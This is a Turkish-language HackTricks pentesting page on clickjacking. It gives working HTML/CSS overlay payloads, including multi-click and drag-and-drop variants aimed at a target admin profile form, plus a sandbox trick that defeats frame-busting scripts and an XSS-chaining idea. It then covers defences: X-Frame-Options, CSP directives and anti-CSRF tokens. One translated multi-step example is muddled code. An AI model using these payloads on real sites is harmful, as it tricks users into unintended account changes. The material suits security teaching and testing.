hacktricks/pentesting-web/clickjacking.md
2024-02-10 18:14:16 +00:00

15 KiB
Raw Blame History

Clickjacking

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:


Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest'i kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Clickjacking Nedir

Clickjacking saldırısında, bir kullanıcı, görünmez veya farklı bir öğe gibi kamuoyunda yer alan bir öğeye tıklamaya kandırılır. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılımın indirilmesi, kötü niyetli web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya çevrimiçi ürün satın alımı.

Formları Önceden Doldurma Hilesi

Bazen bir sayfa yüklenirken GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak mümkün olabilir. Bir saldırgan, bu davranışı kötüye kullanarak bir formu keyfi verilerle doldurabilir ve kullanıcının düğmeye tıklamasını sağlayacak clickjacking yükünü gönderebilir.

Formu Sürükle ve Bırak ile Doldurma

Kullanıcının bir formu doldurmasını istiyorsanız, ancak doğrudan belirli bir bilgiyi (örneğin e-posta veya belirli bir şifreyi) yazmasını istemiyorsanız, sadece kontrol ettiğiniz verileri yazacak bir şeyi Sürükle ve Bırak yapmasını isteyebilirsiniz, bu örnekte olduğu gibi.

Temel Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Çok Adımlı Yük

Bu teknik, hedef web uygulamasında clickjacking saldırısı gerçekleştirmek için kullanılır. Çok adımlı bir payload oluşturarak, kullanıcının tıklama eylemlerini manipüle etmek mümkün hale gelir.

Adım 1: İçerik Çerçevesi Oluşturma

İlk adımda, saldırgan bir içerik çerçevesi oluşturur. Bu çerçeve, hedef web uygulamasının içeriğini içerir ve kullanıcının farkında olmadan bu içeriği tıklamasını sağlar.

<iframe src="http://www.hedef-uygulama.com" width="500" height="500"></iframe>

Adım 2: Tıklama Eylemini Tetikleme

İkinci adımda, saldırgan, içerik çerçevesini kullanarak kullanıcının tıklama eylemini tetikler. Bu, kullanıcının tıklama eylemini gerçekleştirmesini sağlayacak bir düğme veya bağlantı içeren bir içerik çerçevesi oluşturarak yapılabilir.

<iframe src="http://www.hedef-uygulama.com" width="500" height="500"></iframe>
<button onclick="document.getElementById('clickme').click()">Tıkla</button>

Adım 3: İkinci Tıklama Eylemini Tetikleme

Son adımda, saldırgan, kullanıcının ikinci bir tıklama eylemini gerçekleştirmesini sağlamak için bir başka içerik çerçevesi oluşturur. Bu çerçeve, kullanıcının tıklama eylemini gerçekleştirmesini sağlayacak bir düğme veya bağlantı içerir.

<iframe src="http://www.hedef-uygulama.com" width="500" height="500"></iframe>
<button id="clickme" onclick="document.getElementById('clickme2').click()">Tıkla</button>
<iframe src="http://www.hedef-uygulama.com" width="500" height="500"></iframe>
<button id="clickme2">Tıkla</button>

Bu çok adımlı payload, kullanıcının tıklama eylemlerini manipüle etmek için kullanılabilir ve clickjacking saldırısının başarılı bir şekilde gerçekleştirilmesini sağlar.

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Sürükle ve Bırak + Tıkla payloadu

Bu teknik, hedef web uygulamasında clickjacking saldırısı gerçekleştirmek için sürükle ve bırak işlemiyle birlikte tıklama işlemi kullanır. Saldırgan, kullanıcının farkında olmadan istenmeyen bir eylemi gerçekleştirmesini sağlamak için bu yöntemi kullanır.

Saldırgan, hedef web uygulamasında bir iframe oluşturur ve bu iframe'i kullanıcının tıklamasını istediği bir öğeyle örtüşecek şekilde konumlandırır. Ardından, kullanıcıyı yanıltmak için iframe'i gizler.

Saldırgan, kullanıcının tıklamasını tetiklemek için sürükle ve bırak işlemi kullanır. Kullanıcı, istemeden iframe'in üzerindeki öğeye tıklamış gibi davranır. Bu tıklama, saldırganın istediği bir eylemi gerçekleştirmek için kullanılır, örneğin bir bağlantıyı tıklamak veya bir formu göndermek.

Bu teknik, kullanıcıların güvendiği bir web uygulamasında istenmeyen eylemleri gerçekleştirmek için kullanılabilir. Bu nedenle, web uygulamalarının clickjacking saldırılarına karşı korunması önemlidir.

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Eğer bir kullanıcının XSS saldırısını tetiklemek için bir öğeye tıklaması gereken bir saldırı tespit ettiyseniz ve sayfa clickjacking'e karşı savunmasız ise, kullanıcıyı düğmeye/linke tıklamaya kandırmak için bunu istismar edebilirsiniz.
Örnek:
Bir hesabın bazı özel ayrıntılarında (sadece sizin ayarlayıp okuyabileceğiniz ayrıntılar) bir self XSS buldunuz. Bu ayrıntıları ayarlamak için olan sayfa, Clickjacking'e karşı savunmasız ve GET parametreleriyle formu önceden doldurabilirsiniz.
__Bir saldırgan, bu sayfaya Clickjacking saldırısı hazırlayabilir ve formu XSS yüküyle önceden doldurarak kullanıcıyı formu göndermeye kandırabilir. Böylece, form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS'i yürütecektir.

Clickjacking'i Azaltmak İçin Stratejiler

İstemci Tarafı Savunmaları

İstemci tarafında çalışan betikler, Clickjacking'i önlemek için aşağıdaki eylemleri gerçekleştirebilir:

  • Uygulama penceresinin ana veya üst pencere olduğunu sağlamak.
  • Tüm çerçeveleri görünür hale getirmek.
  • Görünmez çerçevelere tıklamayı engellemek.
  • Kullanıcıları potansiyel Clickjacking girişimleri konusunda uyarıp tespit etmek.

Ancak, bu çerçeve kırıcı betiklerin atlatılması mümkün olabilir:

  • Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin olmamasına bağlı olarak bu betikleri engelleyebilir.
  • HTML5 iframe sandbox Özniteliği: Bir saldırgan, allow-forms veya allow-scripts değerleriyle allow-top-navigation olmadan sandbox özniteliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'ın üst pencere olup olmadığını doğrulamamasını sağlar, örneğin,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

allow-forms ve allow-scripts değerleri, iframe içindeki işlemleri etkinleştirirken üst düzey gezinmeyi devre dışı bırakır. Hedeflenen sitenin amaçlanan işlevselliğini sağlamak için, saldırı türüne bağlı olarak allow-same-origin ve allow-modals gibi ek izinler gerekebilir. Tarayıcı konsolu mesajları, hangi izinlere izin verileceğini belirlemek için yol gösterebilir.

Sunucu Tarafı Savunmaları

X-Frame-Options

X-Frame-Options HTTP yanıt başlığı, bir sayfanın <frame> veya <iframe> içinde render edilmesinin meşruiyeti hakkında tarayıcılara bilgi vererek Clickjacking'i önlemeye yardımcı olur:

  • X-Frame-Options: deny - Hiçbir etki alanı içeriği çerçevelendiremez.
  • X-Frame-Options: sameorigin - Yalnızca mevcut site içeriği çerçevelendirebilir.
  • X-Frame-Options: allow-from https://trusted.com - Yalnızca belirtilen 'uri' sayfayı çerçeveleyebilir.
  • Sınırlamaları unutmayın: Tarayıcı bu yönergeyi desteklemiyorsa çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.

İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi

Clickjacking koruması için CSP'deki frame-ancestors yönergesi önerilen yöntemdir:

  • frame-ancestors 'none' - X-Frame-Options: deny ile benzer.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin ile benzer.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from ile benzer.

Örneğin, aşağıdaki CSP, yalnızca aynı etki alanından çerçevelenmeye izin verir:

Content-Security-Policy: frame-ancestors 'self';

Daha fazla ayrıntı ve karmaşık örnekler için frame-ancestors CSP belgeleri ve Mozilla'nın CSP frame-ancestors belgeleri incelenebilir.

İçerik Güvenlik Politikası (CSP) ile child-src ve frame-src

İçerik Güvenlik Politikası (CSP), tarayıcının hangi kaynakların içeriği yüklemesine izin vermesi gerektiğini belirterek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.

frame-src Yönergesi

  • Çerçeveler için geçerli kaynakları tanımlar.
  • default-src yönergesinden daha spesifik.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Bu politika, aynı kökten (self) ve https://trusted-website.com'dan gelen çerçevelere izin verir.

child-src Yönergesi

  • Web işçileri ve çerçeveler için geçerli kaynakları belirlemek için CSP seviye 2'de tanıtılmıştır.
  • frame-src ve worker-src için bir yedek olarak işlev görür.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Bu politika, aynı kökten (self) ve https://trusted-website.com'dan gelen çerçevelere ve işçilere izin verir.

Kullanım Notları:

  • Kullanım Dışı Bırakma: child-src, frame-src ve worker-src lehine aşamalı olarak kullanımdan kaldırılıyor.
  • Yedek Davranış: frame-src yoksa, çerçeveler için yedek olarak child-src kullanılır. İkisi de yoksa, default-src kullanılır.
  • Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynakları ekleyin.

JavaScript Çerçeve-Kırma Komut Dosyaları

Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma komut dosyaları, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:

if (top !== self) {
top.location = self.location;
}

Anti-CSRF Tokenlarını Kullanma

  • Token Doğrulama: Web uygulamalarında anti-CSRF tokenları kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından ve Clickjacked sayfalar aracılığıyla yapılmadığından emin olun.

Referanslar


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları: